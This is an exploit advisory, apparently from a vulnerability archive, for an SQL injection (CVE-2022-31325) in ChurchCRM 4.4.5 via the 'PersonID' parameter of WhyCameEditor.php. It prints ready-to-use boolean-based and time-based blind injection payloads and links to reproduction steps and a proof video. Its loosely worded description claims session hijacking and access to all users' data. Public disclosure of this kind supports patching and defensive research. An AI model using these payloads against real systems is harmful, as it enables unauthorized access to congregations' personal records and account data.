Headline
ChurchCRM 4.4.5 SQL Injection
ChurchCRM version 4.4.5 suffers from a remote SQL injection vulnerability.
## Title: ChurchCRM 4.4.5 SQLi session hijacking L2## Author: nu11secur1ty## Date: 05.11.2022## Vendor: https://churchcrm.io/## Software: https://github.com/ChurchCRM/CRM## Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-31325## Description:There is a SQL Injection PWN cookie hijacking session vulnerability - broken authentication sanitary logic, in ChurchCRM 4.4.5 via the 'PersonID' parameter in the WhyCameEditor.php app. The authenticated user can get all information for all users on this system when he hit an active session and use this active session in L2 network or even an external network - domain.Status: Highly Vulnerable[+] Payloads:```mysql---Parameter: PersonID (GET) Type: boolean-based blind Title: Boolean-based blind - Parameter replace (original value) Payload: PersonID=(SELECT (CASE WHEN (6445=6445) THEN 1 ELSE (SELECT 2844 UNION SELECT 1058) END))&WhyCameID=1&linkBack= Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: PersonID=1 AND (SELECT 7116 FROM (SELECT(SLEEP(5)))xUOx)&WhyCameID=1&linkBack=---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-31325)## Proof and Exploit:[href](https://streamable.com/ust7qt)
Related news
CVE-2022-31325: SQL Injection vulnerability in ChurchCRM 4.4.5 via /churchcrm/WhyCameEditor.php · Issue #6005 · ChurchCRM/CRM
There is a SQL Injection vulnerability in ChurchCRM 4.4.5 via the 'PersonID' field in /churchcrm/WhyCameEditor.php.